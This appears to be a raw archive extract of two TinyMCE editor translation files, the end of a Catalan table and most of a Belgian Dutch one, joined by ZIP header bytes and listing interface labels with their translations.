"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Enganxar ara est\u00e0 en mode text pla. Els continguts s'enganxaran com a text pla fins que desactivis aquesta opci\u00f3. ",
"Fonts": "Fonts",
"Font Sizes": "Mides de la font",
"Class": "Classe",
"Browse for an image": "Explorar per cercar una imatge",
"OR": "O",
"Drop an image here": "Deixar anar una imatge aqu\u00ed",
"Upload": "Pujar",
"Block": "Bloc",
"Align": "Alinea",
"Default": "Per defecte",
"Circle": "Cercle",
"Disc": "Disc",
"Square": "Quadrat",
"Lower Alpha": "Alfa menor",
"Lower Greek": "Grec menor",
"Lower Roman": "Roman menor",
"Upper Alpha": "Alfa major",
"Upper Roman": "Roman major",
"Anchor...": "Ancoratge...",
"Name": "Nom",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "La Id ha de comen\u00e7ar amb una lletra, seguida d'altres lletres, n\u00fameros, punts, ratlles, comes, o guions baixos",
"You have unsaved changes are you sure you want to navigate away?": "Teniu canvis sense desar, esteu segur que voleu deixar-ho ara?",
"Restore last draft": "Restaurar l'\u00faltim esborrany",
"Special character...": "Car\u00e0cters especials\u2026",
"Source code": "Codi font",
"Insert\/Edit code sample": "Inserir\/Editar tros de codi",
"Language": "Idioma",
"Code sample...": "Mostra de codi...",
"Color Picker": "Selector de colors",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "D'esquerra a dreta",
"Right to left": "De dreta a esquerra",
"Emoticons...": "Emoticones...",
"Metadata and Document Properties": "Metadades i propietats del document",
"Title": "T\u00edtol",
"Keywords": "Paraules clau",
"Description": "Descripci\u00f3",
"Robots": "Robots",
"Author": "Autor",
"Encoding": "Codificaci\u00f3",
"Fullscreen": "Pantalla completa",
"Action": "Acci\u00f3",
"Shortcut": "Drecera",
"Help": "Ajuda",
"Address": "Adre\u00e7a",
"Focus to menubar": "Enfocar la barra de men\u00fa",
"Focus to toolbar": "Enfocar la barra d'eines",
"Focus to element path": "Enfocar la ruta d'elements",
"Focus to contextual toolbar": "Enfocar la barra d'eines contextual",
"Insert link (if link plugin activated)": "Inserir enlla\u00e7 (si el complement d'enlla\u00e7 est\u00e0 activat)",
"Save (if save plugin activated)": "Desar (si el complement desar est\u00e0 activat)",
"Find (if searchreplace plugin activated)": "Cercar (si el complement cercar-reempla\u00e7ar est\u00e0 activat)",
"Plugins installed ({0}):": "Complements instal\u00b7lats ({0}):",
"Premium plugins:": "Complements premium",
"Learn more...": "Apr\u00e8n m\u00e9s...",
"You are using {0}": "Est\u00e0s utilitzant {0}",
"Plugins": "Complements",
"Handy Shortcuts": "Dreceres a m\u00e0",
"Horizontal line": "L\u00ednia horitzontal",
"Insert\/edit image": "Inserir\/editar imatge",
"Image description": "Descripci\u00f3 de la imatge",
"Source": "Font",
"Dimensions": "Dimensions",
"Constrain proportions": "Mantenir proporcions",
"General": "General",
"Advanced": "Avan\u00e7at",
"Style": "Estil",
"Vertical space": "Espai vertical",
"Horizontal space": "Espai horitzontal",
"Border": "Vora",
"Insert image": "Inserir imatge",
"Image...": "Imatge...",
"Image list": "Llista d'imatges",
"Rotate counterclockwise": "Girar a l'esquerra",
"Rotate clockwise": "Girar a la dreta",
"Flip vertically": "Capgirar verticalment",
"Flip horizontally": "Capgirar horitzontalment",
"Edit image": "Editar imatge",
"Image options": "Opcions d'imatge",
"Zoom in": "Ampliar",
"Zoom out": "Empetitir",
"Crop": "Escap\u00e7ar",
"Resize": "Canviar mida",
"Orientation": "Orientaci\u00f3",
"Brightness": "Brillantor",
"Sharpen": "Remarcar vores",
"Contrast": "Contrast",
"Color levels": "Nivells de color",
"Gamma": "Gamma",
"Invert": "Invertir",
"Apply": "Aplicar",
"Back": "Tornar",
"Insert date\/time": "Inserir data\/hora",
"Date\/time": "Data\/hora",
"Insert\/Edit Link": "Inserir\/editar l'enlla\u00e7",
"Insert\/edit link": "Inserir\/editar enlla\u00e7",
"Text to display": "Text per mostrar",
"Url": "URL",
"Open link in...": "Obrir l'enlla\u00e7 a...",
"Current window": "Finestra actual",
"None": "Cap",
"New window": "Finestra nova",
"Remove link": "Treure enlla\u00e7",
"Anchors": "\u00c0ncores",
"Link...": "Enlla\u00e7...",
"Paste or type a link": "Enganxa o escriu un enlla\u00e7",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "L'URL que has escrit sembla una adre\u00e7a de correu electr\u00f2nic. Vols afegir-li el prefix obligatori mailto: ?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "L'URL que has escrit sembla un enlla\u00e7 extern. Vols afegir-li el prefix obligatori http:\/\/ ?",
"Link list": "Llista d'enlla\u00e7os",
"Insert video": "Inserir v\u00eddeo",
"Insert\/edit video": "Inserir\/editar v\u00eddeo",
"Insert\/edit media": "Inserir\/editar mitj\u00e0",
"Alternative source": "Font alternativa",
"Alternative source URL": "URL de font alternativa",
"Media poster (Image URL)": "Cartell de multim\u00e8dia (URL d'imatge)",
"Paste your embed code below:": "Enganxau el codi a sota:",
"Embed": "Incloure",
"Media...": "Multim\u00e8dia...",
"Nonbreaking space": "Espai fixe",
"Page break": "Salt de p\u00e0gina",
"Paste as text": "Enganxar com a text",
"Preview": "Previsualitzaci\u00f3",
"Print...": "Imprimir...",
"Save": "Desa",
"Find": "Buscar",
"Replace with": "Rempla\u00e7ar amb",
"Replace": "Rempla\u00e7ar",
"Replace all": "Rempla\u00e7ar-ho tot",
"Previous": "Anterior",
"Next": "Seg\u00fcent",
"Find and replace...": "Cercar i reempla\u00e7ar...",
"Could not find the specified string.": "No es pot trobar el text especificat.",
"Match case": "Coincidir maj\u00fascules",
"Find whole words only": "Cercar nom\u00e9s paraules completes",
"Spell check": "Corrector ortogr\u00e0fic",
"Ignore": "Ignorar",
"Ignore all": "Ignorar tots",
"Finish": "Finalitzar",
"Add to Dictionary": "Afegir al diccionari",
"Insert table": "Inserir taula",
"Table properties": "Propietats de taula",
"Delete table": "Esborrar taula",
"Cell": "Cel\u00b7la",
"Row": "Fila",
"Column": "Columna",
"Cell properties": "Propietats de cel\u00b7la",
"Merge cells": "Fusionar cel\u00b7les",
"Split cell": "Dividir cel\u00b7les",
"Insert row before": "Inserir fila a sobre",
"Insert row after": "Inserir fila a sota",
"Delete row": "Esborrar fila",
"Row properties": "Propietats de fila",
"Cut row": "Retallar fila",
"Copy row": "Copiar fila",
"Paste row before": "Enganxar fila a sobre",
"Paste row after": "Enganxar fila a sota",
"Insert column before": "Inserir columna abans",
"Insert column after": "Inserir columna despr\u00e9s",
"Delete column": "Esborrar columna",
"Cols": "Cols",
"Rows": "Files",
"Width": "Amplada",
"Height": "Al\u00e7ada",
"Cell spacing": "Espai entre cel\u00b7les",
"Cell padding": "Marge intern",
"Show caption": "Mostrar encap\u00e7alament",
"Left": "A l'esquerra",
"Center": "Centrat",
"Right": "A la dreta",
"Cell type": "Tipus de cel\u00b7la",
"Scope": "\u00c0mbit",
"Alignment": "Aliniament",
"H Align": "Al\u00edniament H",
"V Align": "Al\u00edniament V",
"Top": "Superior",
"Middle": "Mitj\u00e0",
"Bottom": "Inferior",
"Header cell": "Cel\u00b7la de cap\u00e7alera",
"Row group": "Grup de fila",
"Column group": "Grup de columna",
"Row type": "Tipus de fila",
"Header": "Cap\u00e7alera",
"Body": "Cos",
"Footer": "Peu",
"Border color": "Color de vora",
"Insert template...": "Inserir plantilla...",
"Templates": "Plantilles",
"Template": "Plantilla",
"Text color": "Color del text",
"Background color": "Color del fons",
"Custom...": "Personalitzar...",
"Custom color": "Personalitzar el color",
"No color": "Sense color",
"Remove color": "Eliminar el color",
"Table of Contents": "Taula de continguts",
"Show blocks": "Mostrar blocs",
"Show invisible characters": "Mostrar car\u00e0cters invisibles",
"Word count": "Recompte de paraules",
"Count": "Compta",
"Document": "Document",
"Selection": "Selecci\u00f3",
"Words": "Paraules",
"Words: {0}": "Paraules: {0}",
"{0} words": "{0} paraules",
"File": "Arxiu",
"Edit": "Edici\u00f3",
"Insert": "Inserir",
"View": "Veure",
"Format": "Format",
"Table": "Taula",
"Tools": "Eines",
"Powered by {0}": "Impulsat per {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u00c0rea de text amb format. Premeu ALT-F9 per mostrar el men\u00fa, ALT F10 per la barra d'eines i ALT-0 per ajuda.",
"Image title": "T\u00edtol de la imatge",
"Border width": "Amplada de la vora",
"Border style": "Estil de la vora",
"Error": "Error",
"Warn": "Alerta",
"Valid": "V\u00e0lid",
"To open the popup, press Shift+Enter": "Per obrir la finestra emergent, premeu Maj.+Retorn",
"Rich Text Area. Press ALT-0 for help.": "\u00c0rea de Text enriquit. Premeu ALT-0 per obtenir ajuda.",
"System Font": "Font del sistema",
"Failed to upload image: {0}": "No s'ha pogut carregar la imatge: {0}",
"Failed to load plugin: {0} from url {1}": "No s'ha pogut carregar el complement: {0} de l\u2019URL {1}",
"Failed to load plugin url: {0}": "No s'ha pogut carregar l\u2019URL del complement: {0}",
"Failed to initialize plugin: {0}": "No s'ha pogut inicialitzar el complement: {0}",
"example": "exemple",
"Search": "Cerca",
"All": "Tot",
"Currency": "Moneda",
"Text": "Text",
"Quotations": "Cites",
"Mathematical": "S\u00edmbols matem\u00e0tics",
"Extended Latin": "Llat\u00ed ampliat",
"Symbols": "S\u00edmbols",
"Arrows": "Fletxes",
"User Defined": "Definit per l'usuari",
"dollar sign": "signe del d\u00f2lar",
"currency sign": "signe de la moneda",
"euro-currency sign": "signe de l'euro",
"colon sign": "signe del col\u00f3n",
"cruzeiro sign": "signe del cruzeiro",
"french franc sign": "signe del franc franc\u00e8s",
"lira sign": "signe de la lira",
"mill sign": "signe del mill",
"naira sign": "signe de la naira",
"peseta sign": "signe de la pesseta",
"rupee sign": "signe de la rupia",
"won sign": "signe del won",
"new sheqel sign": "signe del nou x\u00e9quel",
"dong sign": "signe del dong",
"kip sign": "signe del kip",
"tugrik sign": "signe del t\u00f6gr\u00f6g",
"drachma sign": "signe del dracma",
"german penny symbol": "signe del penic alemany",
"peso sign": "signe del peso",
"guarani sign": "signe del guaran\u00ed",
"austral sign": "signe de l\u2019austral",
"hryvnia sign": "signe de la hr\u00edvnia",
"cedi sign": "signe del cedi",
"livre tournois sign": "signe de la lliura tornesa",
"spesmilo sign": "signe de l\u2019spesmilo",
"tenge sign": "signe del tenge",
"indian rupee sign": "signe de la rupia \u00edndia",
"turkish lira sign": "signe de la lira turca",
"nordic mark sign": "signe del marc n\u00f2rdic",
"manat sign": "signe del manat",
"ruble sign": "signe del ruble",
"yen character": "signe del ien",
"yuan character": "signe del iuan",
"yuan character, in hong kong and taiwan": "signe del iuan en Hong Kong i Taiwan",
"yen\/yuan character variant one": "variaci\u00f3 1 del signe del ien\/iuan",
"Loading emoticons...": "Carregant les emoticones...",
"Could not load emoticons": "No s'han pogut carregar les emoticones",
"People": "Gent",
"Animals and Nature": "Animals i natura",
"Food and Drink": "Menjar i beure",
"Activity": "Activitat",
"Travel and Places": "Viatges i llocs",
"Objects": "Objectes",
"Flags": "Banderes",
"Characters": "Car\u00e0cters",
"Characters (no spaces)": "Car\u00e0cters (sense espais)",
"{0} characters": "{0} car\u00e0cters",
"Error: Form submit field collision.": "Error: error en el camp d\u2019enviament del formulari.",
"Error: No form element found.": "Error: no s'ha trobat l'element del formulari.",
"Update": "Actualitzar",
"Color swatch": "Mostra de color",
"Turquoise": "Turquesa",
"Green": "Verd",
"Blue": "Blau",
"Purple": "Violeta",
"Navy Blue": "Blau mar\u00ed",
"Dark Turquoise": "Turquesa fosc",
"Dark Green": "Verd fosc",
"Medium Blue": "Blau mitj\u00e0",
"Medium Purple": "Violeta mitj\u00e0",
"Midnight Blue": "Blau mitjanit",
"Yellow": "Groc",
"Orange": "Taronja",
"Red": "Vermell",
"Light Gray": "Gris clar",
"Gray": "Gris",
"Dark Yellow": "Groc fosc",
"Dark Orange": "Taronja fosc",
"Dark Red": "Vermell fosc",
"Medium Gray": "Gris mitj\u00e0",
"Dark Gray": "Gris fosc",
"Light Green": "Verd clar",
"Light Yellow": "Groc clar",
"Light Red": "Vermell clar",
"Light Purple": "Porpra clar",
"Light Blue": "Blau clar",
"Dark Purple": "Porpra fosc",
"Dark Blue": "Blau fosc",
"Black": "Negre",
"White": "Blanc",
"Switch to or from fullscreen mode": "Canviar a o del mode de pantalla completa",
"Open help dialog": "Obrir el quadre de di\u00e0leg d'ajuda",
"history": "historial",
"styles": "estils",
"formatting": "format",
"alignment": "alineaci\u00f3",
"indentation": "sagnat",
"permanent pen": "retolador permanent",
"comments": "comentaris",
"Format Painter": "Formata el Painter",
"Insert\/edit iframe": "Insereix\/edita iframe",
"Capitalization": "Capitalitzaci\u00f3",
"lowercase": "min\u00fascules",
"UPPERCASE": "MAJ\u00daSCULES",
"Title Case": "Caixa del t\u00edtol",
"Permanent Pen Properties": "Par\u00e0metres permanents del llapis",
"Permanent pen properties...": "Par\u00e0metres permanents del llapis\u2026",
"Font": "Font",
"Size": "Mida",
"More...": "M\u00e9s\u2026",
"Spellcheck Language": "Idioma de la comprovaci\u00f3 d'ortografia",
"Select...": "Selecciona\u2026",
"Preferences": "Par\u00e0metres",
"Yes": "S\u00ed",
"No": "No",
"Keyboard Navigation": "Navegaci\u00f3 per teclat",
"Version": "Versi\u00f3",
"Anchor": "\u00c0ncora",
"Special character": "Car\u00e0cter especial",
"Code sample": "Mostra de codi",
"Color": "Color",
"Emoticons": "Emoticones",
"Document properties": "Propietats del document",
"Image": "Imatge",
"Insert link": "Inserir enlla\u00e7",
"Target": "Dest\u00ed",
"Link": "Enlla\u00e7",
"Poster": "P\u00f3ster",
"Media": "Mitjans",
"Print": "Imprimir",
"Prev": "Anterior",
"Find and replace": "Buscar i rempla\u00e7ar",
"Whole words": "Paraules senceres",
"Spellcheck": "Comprovar ortrografia",
"Caption": "Encap\u00e7alament",
"Insert template": "Inserir plantilla"
});PK
h�\;r��@�@!program/js/tinymce/langs/nl_BE.jsnu�[���tinymce.addI18n('nl_BE',{
"Redo": "Opnieuw doen",
"Undo": "Ongedaan maken",
"Cut": "Knippen",
"Copy": "Kopi\u00ebren",
"Paste": "Plakken",
"Select all": "Alles selecteren",
"New document": "Nieuw document",
"Ok": "Ok",
"Cancel": "Annuleren",
"Visual aids": "Visuele hulpmiddelen",
"Bold": "Vet",
"Italic": "Cursief",
"Underline": "Onderlijnd",
"Strikethrough": "Doorstreept",
"Superscript": "Superscript",
"Subscript": "Subscript",
"Clear formatting": "Opmaak verwijderen",
"Align left": "Links uitlijnen",
"Align center": "Centreren",
"Align right": "Rechts uitlijnen",
"Justify": "Distribueren",
"Bullet list": "Ongeordende lijst",
"Numbered list": "Geordende lijst",
"Decrease indent": "Inspringing verkleinen",
"Increase indent": "Inspringing vergroten",
"Close": "Sluiten",
"Formats": "Formaten",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Uw browser ondersteunt geen directe toegang tot het klembord. Gelieve de CTRL+X\/C\/V toetsen te gebruiken.",
"Headers": "Kopteksten",
"Header 1": "Koptekst 1",
"Header 2": "Koptekst 2",
"Header 3": "Koptekst 3",
"Header 4": "Koptekst 4",
"Header 5": "Koptekst 5",
"Header 6": "Koptekst 6",
"Headings": "Hoofdingen",
"Heading 1": "Hoofding 1",
"Heading 2": "Hoofding 2",
"Heading 3": "Hoofding 3",
"Heading 4": "Hoofding 4",
"Heading 5": "Hoofding 5",
"Heading 6": "Hoofding 6",
"Preformatted": "Gepreformateerd",
"Div": "Div",
"Pre": "Pre",
"Code": "Code",
"Paragraph": "Paragraaf",
"Blockquote": "Citaat",
"Inline": "In tekstregel",
"Blocks": "Blokken",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Plakken is nu in gewone tekst modus. Elementen zullen nu als gewone tekst geplakt worden tot u deze optie uit schakelt.",
"Fonts": "Lettertypen",
"Font Sizes": "Lettergrootte",
"Class": "Class",
"Browse for an image": "Een afbeelding zoeken",
"OR": "OF",
"Drop an image here": "Plaats hier een afbeelding",
"Upload": "Uploaden",
"Block": "Vierkant",
"Align": "Aligneer",
"Default": "Standaard",
"Circle": "Cirkel",
"Disc": "Schijf",
"Square": "Vierkant",
"Lower Alpha": "Kleine letters",
"Lower Greek": "Klein Grieks schrift",
"Lower Roman": "Klein Latijns schrift",
"Upper Alpha": "Hoofdletters",
"Upper Roman": "Hoofdletters Latijns",
"Anchor...": "Anker...",
"Name": "Naam",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Een id moet met een letter beginnen, gevolgd door letters, nummers, strepen, punten, dubbele punten of liggende streepjes.",
"You have unsaved changes are you sure you want to navigate away?": "U heeft niet opgeslagen wijzigingen bent u zeker dat u de pagina wilt verlaten?",
"Restore last draft": "Laatste concept herstellen",
"Special character...": "Speciaal karakter...",
"Source code": "Broncode",
"Insert\/Edit code sample": "Codevoorbeeld invoegen\/bewerken",
"Language": "Taal",
"Code sample...": "Codevoorbeeld...",
"Color Picker": "Kleurenkiezer",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Links naar rechts",
"Right to left": "Rechts naar links",
"Emoticons": "Emoticons",
"Emoticons...": "Emoticons...",
"Metadata and Document Properties": "Metadata en Document Eigenschappen",
"Title": "Titel",
"Keywords": "Sleutelwoorden",
"Description": "Omschrijving",
"Robots": "Robots",
"Author": "Auteur",
"Encoding": "Bestandscodering",
"Fullscreen": "Schermvullend",
"Action": "Actie",
"Shortcut": "Snelkoppeling",
"Help": "Help",
"Address": "Adres",
"Focus to menubar": "Focus naar menubalk",
"Focus to toolbar": "Focus naar werkbalk",
"Focus to element path": "Focus naar elementenpad",
"Focus to contextual toolbar": "Focus naar contextuele werkbalk",
"Insert link (if link plugin activated)": "Link invoegen (als link plug-in geactiveerd is)",
"Save (if save plugin activated)": "Opslaan (als opslaan plug-in geactiveerd is)",
"Find (if searchreplace plugin activated)": "Zoeken (als zoeken\/vervangen plug-in geactiveerd is)",
"Plugins installed ({0}):": "Ge\u00efnstalleerde plugins ({0}):",
"Premium plugins:": "Premium plug-ins:",
"Learn more...": "Leer meer...",
"You are using {0}": "U gebruikt {0}",
"Plugins": "Plug-ins",
"Handy Shortcuts": "Handige snelkoppelingen",
"Horizontal line": "Horizontale lijn",
"Insert\/edit image": "Afbeelding invoegen\/bewerken",
"Alternative description": "Alternatieve beschrijving",
"Accessibility": "Toegankelijkheid",
"Image is decorative": "Afbeelding is decoratief",
"Source": "Bron",
"Dimensions": "Afmetingen",
"Constrain proportions": "Verhoudingen begrenzen",
"General": "Algemeen",
"Advanced": "Geavanceerd",
"Style": "Stijl",
"Vertical space": "Verticale ruimte",
"Horizontal space": "Horizontale ruimte",
"Border": "Rand",
"Insert image": "Afbeelding invoegen",
"Image...": "Afbeelding...",
"Image list": "Afbeeldingenlijst",
"Rotate counterclockwise": "Linksom draaien",
"Rotate clockwise": "Rechtsom draaien",
"Flip vertically": "Verticaal spiegelen",
"Flip horizontally": "Horizontaal spiegelen",
"Edit image": "Afbeelding bewerken",
"Image options": "Afbeeldingsopties",
"Zoom in": "Inzoomen",
"Zoom out": "Uitzoomen",
"Crop": "Bijsnijden",
"Resize": "Herschalen",
"Orientation": "Ori\u00ebntatie",
"Brightness": "Helderheid",
"Sharpen": "Verscherpen",
"Contrast": "Contrast",
"Color levels": "Kleurniveau's",
"Gamma": "Gamma",
"Invert": "Omkeren",
"Apply": "Toepassen",
"Back": "Terug",
"Insert date\/time": "Datum\/tijd invoegen",
"Date\/time": "Datum\/tijd",
"Insert\/edit link": "Link invoegen\/bewerken",
"Text to display": "Weer te geven tekst",
"Url": "Url",
"Open link in...": "Link openen in...",
"Current window": "Huidig venster",
"None": "Geen",
"New window": "Nieuw venster",
"Open link": "Link openen",
"Remove link": "Link verwijderen",
"Anchors": "Ankers",
"Link...": "Link...",
"Paste or type a link": "Link plakken of typen",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "De ingevoerde URL lijkt op een e-mailadres. Wilt u er het vereiste voorvoegsel mailto: aan toevoegen?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "De ingevoerde URL lijkt op een externe link. Wilt u er het vereiste voorvoegsel http:\/\/ aan toevoegen?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "De ingevoerde URL lijkt op een externe link. Wilt u er het vereiste voorvoegsel https:\/\/ aan toevoegen?",
"Link list": "Link lijst",
"Insert video": "Video invoegen",
"Insert\/edit video": "Video invoegen\/bewerken",
"Insert\/edit media": "Media invoegen\/bewerken",
"Alternative source": "Alternatieve bron",
"Alternative source URL": "Alternatieve bron URL",
"Media poster (Image URL)": "Mediaposter (Afbeelding URL)",
"Paste your embed code below:": "Plak de in te sluiten code hieronder:",
"Embed": "Insluiten",
"Media...": "Media...",
"Nonbreaking space": "Vaste spatie",
"Page break": "Pagina-einde",
"Paste as text": "Plakken als tekst",
"Preview": "Voorbeeld",
"Print...": "Afdrukken...",
"Save": "Opslaan",
"Find": "Zoeken",
"Replace with": "Vervangen door",
"Replace": "Vervangen",
"Replace all": "Alles vervangen",
"Previous": "Vorige",
"Next": "Volgende",
"Find and Replace": "Zoeken en Vervangen",
"Find and replace...": "Zoeken en vervangen...",
"Could not find the specified string.": "Kon de gespecificeerde string niet vinden.",
"Match case": "Hoofdlettergevoelig",
"Find whole words only": "Enkel volledige woorden",
"Find in selection": "Zoeken in selectie",
"Spellcheck": "Spellingscontrole",
"Spellcheck Language": "Spellingscontrole Taal",
"No misspellings found.": "Geen spelfouten gevonden.",
"Ignore": "Negeren",
"Ignore all": "Alles negeren",
"Finish": "Voltooien",
"Add to Dictionary": "Aan woordenboek toevoegen",
"Insert table": "Tabel invoegen",
"Table properties": "Tabeleigenschappen",
"Delete table": "Tabel verwijderen",
"Cell": "Cel",
"Row": "Rij",
"Column": "Kolom",
"Cell properties": "Celeigenschappen",
"Merge cells": "Cellen samenvoegen",
"Split cell": "Cel splitsen",
"Insert row before": "Rij boven invoegen",
"Insert row after": "Rij onder invoegen",
"Delete row": "Rij verwijderen",
"Row properties": "Rijeigenschappen",
"Cut row": "Rij knippen",
"Copy row": "Rij kopi\u00ebren",
"Paste row before": "Rij boven plakken",
"Paste row after": "Rij onder plakken",
"Insert column before": "Kolom invoegen voor",
"Insert column after": "Kolom invoegen na",
"Delete column": "Kolom verwijderen",
"Cols": "Kolommen",
"Rows": "Rijen",
"Width": "Breedte\\v",
"Height": "Hoogte",
"Cell spacing": "Celafstand",
"Cell padding": "Celopvulling",
"Caption": "Bijschrift",
"Show caption": "Bijschrift tonen",
"Left": "Links",
"Center": "Midden",
"Right": "Rechts",
"Cell type": "Celtype",
"Scope": "Bereik",
"Alignment": "Uitlijning",
"H Align": "H uitlijnen",
"V Align": "V uitlijnen",
"Top": "Boven",
"Middle": "Midden",
"Bottom": "Onder",
"Header cell": "Koptekstcel",
"Row group": "Rijgroep",
"Column group": "Kolomgroep",
"Row type": "Rijtype",
"Header": "Koptekst",
"Body": "Hoofdtekst",
"Footer": "Voettekst",
"Border color": "Randkleur",
"Insert template...": "Sjabloon invoegen...",
"Templates": "Sjablonen",
"Template": "Sjabloon",
"Text color": "Tekstkleur",
"Background color": "Achtergrondkleur",
"Custom...": "Aangepast...",
"Custom color": "Aangepaste kleur",
"No color": "Geen kleur",
"Remove color": "Kleur verwijderen",
"Table of Contents": "Inhoudsopgave",
"Show blocks": "Blokken tonen",
"Show invisible characters": "Onzichtbare tekens tonen",
"Word count": "Aantal woorden",
"Count": "Tellen",
"Document": "Document",
"Selection": "Selectie",
"Words": "Woorden",
"Words: {0}": "Woorden: {0}",
"{0} words": "{0} woorden",
"File": "Bestand",
"Edit": "Bewerken",
"Insert": "Invoegen",
"View": "Tonen",
"Format": "Formaat",
"Table": "Tabel",
"Tools": "Gereedschappen",
"Powered by {0}": "Aangedreven door {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text Area. Druk op Alt-F9 voor menu. Druk op Alt-F10 voor gereedschapsbalk. Druk op Alt-0 voor help",
"Image title": "Afbeeldingstitel",
"Border width": "Randbreedte",
"Border style": "Randstijl",
"Error": "Fout",
"Warn": "Waarschuwen",
"Valid": "Geldig",
"To open the popup, press Shift+Enter": "Druk op Shift+Enter om de pop-up te openen",
"Rich Text Area. Press ALT-0 for help.": "Rich Text Area. Druk op Alt-0 voor help.",
"System Font": "Systeemlettertype",
"Failed to upload image: {0}": "Afbeelding uploaden niet gelukt: {0}",
"Failed to load plugin: {0} from url {1}": "Plug-in laden niet gelukt: {0} vanaf url {1}",
"Failed to load plugin url: {0}": "Plug-in URL laden niet gelukt: {0}",
"Failed to initialize plugin: {0}": "Plug-in initialiseren niet gelukt: {0}",
"example": "voorbeeld",
"Search": "Zoeken",
"All": "Alle",
"Currency": "Valuta",
"Text": "Tekst",
"Quotations": "Citaten",
"Mathematical": "Wiskundig",
"Extended Latin": "Latijn uitgebreid",
"Symbols": "Symbolen",
"Arrows": "Pijlen",
"User Defined": "Gebruiker Gedefinieerd",
"dollar sign": "dollar teken",
"currency sign": "valuta teken",
"euro-currency sign": "euro valuta teken",
"colon sign": "colon teken",
"cruzeiro sign": "cruzeiro teken",
"french franc sign": "franse frank teken",
"lira sign": "lire teken",
"mill sign": "mill teken",
"naira sign": "naira teken",
"peseta sign": "peseta teken",
"rupee sign": "roepie teken",
"won sign": "won teken",
"new sheqel sign": "nieuwe shekel teken",
"dong sign": "dong teken",
"kip sign": "kip teken",
"tugrik sign": "tugrik teken",
"drachma sign": "drachme teken",
"german penny symbol": "duitse pfennig teken",
"peso sign": "peso teken",
"guarani sign": "guarani teken",
"austral sign": "austral teken",
"hryvnia sign": "hryvnia teken",
"cedi sign": "cedi teken",
"livre tournois sign": "tours pond teken",
"spesmilo sign": "spesmilo teken",
"tenge sign": "tenge teken",
"indian rupee sign": "indische roepie teken",
"turkish lira sign": "turkse lira teken",
"nordic mark sign": "noordse mark teken",
"manat sign": "manat teken",
"ruble sign": "roebel teken",
"yen character": "yen karakter",
"yuan character": "yuan karakter",
"yuan character, in hong kong and taiwan": "yuan karakter, in hong kong en taiwan",
"yen\/yuan character variant one": "yen\/yuan karakter variant een",
"Loading emoticons...": "Emoticons laden...",
"Could not load emoticons": "Kon emoticons niet laden",
"People": "Mensen",
"Animals and Nature": "Dieren en natuur",
"Food and Drink": "Voedsel en drank",
"Activity": "Activiteit",
"Travel and Places": "Reizen en plaatsen",
"Objects": "Voorwerpen",
"Flags": "Vlaggen",
"Characters": "Karakters",
"Characters (no spaces)": "Karakters (zonder spaties)",
"{0} characters": "{0} karakters",
"Error: Form submit field collision.": "Fout: Veldconflict bij versturen formulier.",
"Error: No form element found.": "Fout: Geen formulierelement gevonden.",
"Update": "Updaten",
"Color swatch": "Kleurenstaal",
"Turquoise": "Turkoois",
"Green": "Groen",
"Blue": "Blauw",
"Purple": "Paars",
"Navy Blue": "Marineblauw",
"Dark Turquoise": "Donker turkoois",
"Dark Green": "Donker groen",
"Medium Blue": "Middelblauw",
"Medium Purple": "Middelpaars",
"Midnight Blue": "Middernachtblauw",
"Yellow": "Geel",
"Orange": "Oranje",
"Red": "Rood",
"Light Gray": "Lichtgrijs",
"Gray": "Grijs",
"Dark Yellow": "Donker Geel",
"Dark Orange": "Donker Oranje",
"Dark Red": "Donker Rood",
"Medium Gray": "Middel Grijs",
"Dark Gray": "Donker Grijs",
"Light Green": "Licht Groen",
"Light Yellow": "Licht Geel",
"Light Red": "Licht Rood",
"Light Purple": "Licht Paars",
"Light Blue": "Licht Blauw",
"Dark Purple": "Donker Paars",
"Dark Blue": "Donker Blauw",
"Black": "Zwart",
"White": "Wit",
"Switch to or from fullscreen mode": "Schakelen naar of vanuit volledige schermmodus",
"Open help dialog": "Helpdialoog openen",
"history": "geschiedenis",
"styles": "stijlen",
"formatting": "opmaak",
"alignment": "uitlijning",
"indentation": "inspringing",
"Font": "Lettertype",
"Size": "Grootte",
"More...": "Meer...",
"Select...": "Selecteren...",
"Preferences": "Voorkeuren",
"Yes": "Ja",
"No": "Nee",
"Keyboard Navigation": "Toetsenbord navigatie",
"Version": "Versie",
"Code view": "Codeweergave",
"Open popup menu for split buttons": "Open pop-up menu voor gesplitste knoppen",
"List Properties": "Lijst Eigenschappen",
"List properties...": "Lijst eigenschappen...",
"Start list at number": "Begin lijst bij nummer",
"Line height": "Regelhoogte",
"comments": "opmerkingen",
"Format Painter": "Format Painter",
"Insert\/edit iframe": "iFrame invoegen\/bewerken",
"Capitalization": "Hoofdlettergebruik",
"lowercase": "kleine letters",
"UPPERCASE": "HOOFDLETTERS",
"Title Case": "Titel hoofdlettergebruik",
"permanent pen": "permanente pen",
"Permanent Pen Properties": "Permanent Pen Eigenschappen",
"Permanent pen properties...": "Permanent pen eigenschappen...",
"case change": "hoofdlettergebruik veranderen",
"page embed": "pagina insluiten",
"Advanced sort...": "Geavanceerd sorteren...",
"Advanced Sort": "Geavanceerd Sorteren",
"Sort table by column ascending": "Sorteer tabel per kolom in oplopende volgorde",
"Sort table by column descending": "Sorteer tabel per kolom in aflopende volgorde",
"Sort": "Sorteren",
"Order": "Ordenen",
"Sort by": "Sorteren op",
"Ascending": "Oplopend",
"Descending": "Aflopend",
"Column {0}": "Kolom {0}",
"Row {0}": "Rij {0}",
"Spellcheck...": "Spellingscontrole...",
"Misspelled word": "Fout gespeld woord",
"Suggestions": "Suggesties",
"Change": "Wijzigen",
"Finding word suggestions": "Woordsuggesties zoeken",
"Success": "Gelukt",
"Repair": "Herstellen",
